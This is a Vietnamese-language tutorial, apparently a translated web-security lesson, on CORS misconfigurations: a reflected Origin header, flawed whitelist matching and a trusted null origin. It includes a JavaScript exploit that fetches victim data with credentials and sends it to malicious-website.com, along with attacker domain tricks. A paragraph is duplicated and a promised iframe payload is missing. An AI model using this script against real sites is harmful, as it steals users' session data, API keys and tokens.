651
Trong tình huống này, kẻ tấn công có thể sử dụng nhiều thủ thuật khác nhau để tạo yêu cầu có nguồn gốc chéo chứa giá trị null trong tiêu đề Origin. Điều này sẽ đáp ứng danh sách trắng, dẫn đến truy cập tên miền chéo. Ví dụ: điều này có thể được thực hiện bằng cách sử dụng yêu cầu iframe có nguồn gốc chéo được đóng sandbox có dạng:
1.Tiêu đề ACAO do máy chủ tạo từ tiêu đề Origin trong CORS do client chỉ định
Một số ứng dụng cần cung cấp quyền truy cập vào một số miền khác. Việc duy trì danh sách các miền được phép đòi hỏi nỗ lực liên tục và bất kỳ sai sót nào cũng có nguy cơ phá vỡ chức năng. Vì vậy, một số ứng dụng sử dụng con đường dễ dàng để cho phép truy cập từ bất kỳ miền nào khác một cách hiệu quả.
Một cách để thực hiện điều này là đọc tiêu đề Origin từ các yêu cầu và bao gồm tiêu đề phản hồi cho biết rằng nguồn gốc yêu cầu được cho phép. Ví dụ: hãy xem xét một ứng dụng nhận được yêu cầu sau:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Sau đó nó trả lời bằng:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
Các tiêu đề này nêu rõ rằng quyền truy cập được cho phép từ miền yêu cầu (
malicious-website.com) và các yêu cầu có nguồn gốc chéo có thể bao gồm cookie ( Access-Control-Allow-Credentials: true) và do đó sẽ được xử lý trong phiên.Bởi vì ứng dụng phản ánh nguồn gốc tùy ý trong tiêu đề
Access-Control-Allow-Origin, điều này có nghĩa là bất kỳ miền nào cũng có thể truy cập tài nguyên từ miền dễ bị tấn công. Nếu phản hồi chứa bất kỳ thông tin nhạy cảm nào như khóa API hoặc mã thông báo CSRF, bạn có thể truy xuất thông tin này bằng cách đặt tập lệnh sau trên trang web của mình:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
2.Lỗi phân tích cú pháp tiêu đề Origin trong CORS
Một số ứng dụng hỗ trợ quyền truy cập từ nhiều nguồn gốc thực hiện việc này bằng cách sử dụng danh sách trắng các nguồn gốc được phép. Khi nhận được yêu cầu CORS, nguồn gốc được cung cấp sẽ được so sánh với danh sách trắng. Nếu nguồn gốc xuất hiện trong danh sách trắng thì nó sẽ được phản ánh trong tiêu đề Access-Control-Allow-Origin để cấp quyền truy cập. Ví dụ: ứng dụng nhận được yêu cầu bình thường như:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
Ứng dụng kiểm tra nguồn gốc được cung cấp dựa trên danh sách nguồn gốc được phép và nếu nó nằm trong danh sách, nó sẽ phản ánh nguồn gốc như sau:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
Những sai lầm thường phát sinh khi triển khai danh sách trắng gốc CORS. Một số tổ chức quyết định cho phép truy cập từ tất cả các tên miền phụ của họ (bao gồm cả các tên miền phụ trong tương lai chưa tồn tại). Và một số ứng dụng cho phép truy cập từ nhiều miền của các tổ chức khác, bao gồm cả miền phụ của họ. Các quy tắc này thường được triển khai bằng cách khớp tiền tố hoặc hậu tố URL hoặc sử dụng cụm từ thông dụng. Bất kỳ sai sót nào trong quá trình triển khai đều có thể dẫn đến việc cấp quyền truy cập vào các miền bên ngoài ngoài ý muốn.
Ví dụ: giả sử một ứng dụng cấp quyền truy cập vào tất cả các miền kết thúc bằng:
normal-website.comKẻ tấn công có thể có được quyền truy cập bằng cách đăng ký tên miền:
hackerspwded-website.comNgoài ra, giả sử một ứng dụng cấp quyền truy cập vào tất cả các miền bắt đầu bằng:
normal-website.comKẻ tấn công có thể có quyền truy cập bằng tên miền:
normal-website.com.evil-user.net3.Giá trị gốc null trong CORS được đưa vào danh sách trắng
Thông số kỹ thuật cho tiêu đề Origin hỗ trợ giá trị null. Trình duyệt có thể gửi giá trị null trong tiêu đề Origin trong nhiều tình huống bất thường khác nhau:
- Chuyển hướng nhiều nguồn gốc.
- Yêu cầu từ dữ liệu tuần tự.
- Yêu cầu sử dụng giao thức:file.
- Yêu cầu có nguồn gốc chéo được đóng hộp cát.
Một số ứng dụng có thể đưa Origin null vào danh sách trắng để hỗ trợ việc phát triển ứng dụng cục bộ. Ví dụ: giả sử một ứng dụng nhận được yêu cầu có nguồn gốc chéo sau:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
Và máy chủ phản hồi với:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Trong tình huống này, kẻ tấn công có thể sử dụng nhiều thủ thuật khác nhau để tạo yêu cầu có nguồn gốc chéo chứa giá trị null trong tiêu đề Origin. Điều này sẽ đáp ứng danh sách trắng, dẫn đến truy cập tên miền chéo. Ví dụ: điều này có thể được thực hiện bằng cách sử dụng yêu cầu iframe có nguồn gốc chéo được đóng sandbox có dạng:
4.Ví dụ Lỗ hổng CORS có nguồn gốc null đáng tin cậy
Bài tiếp theo
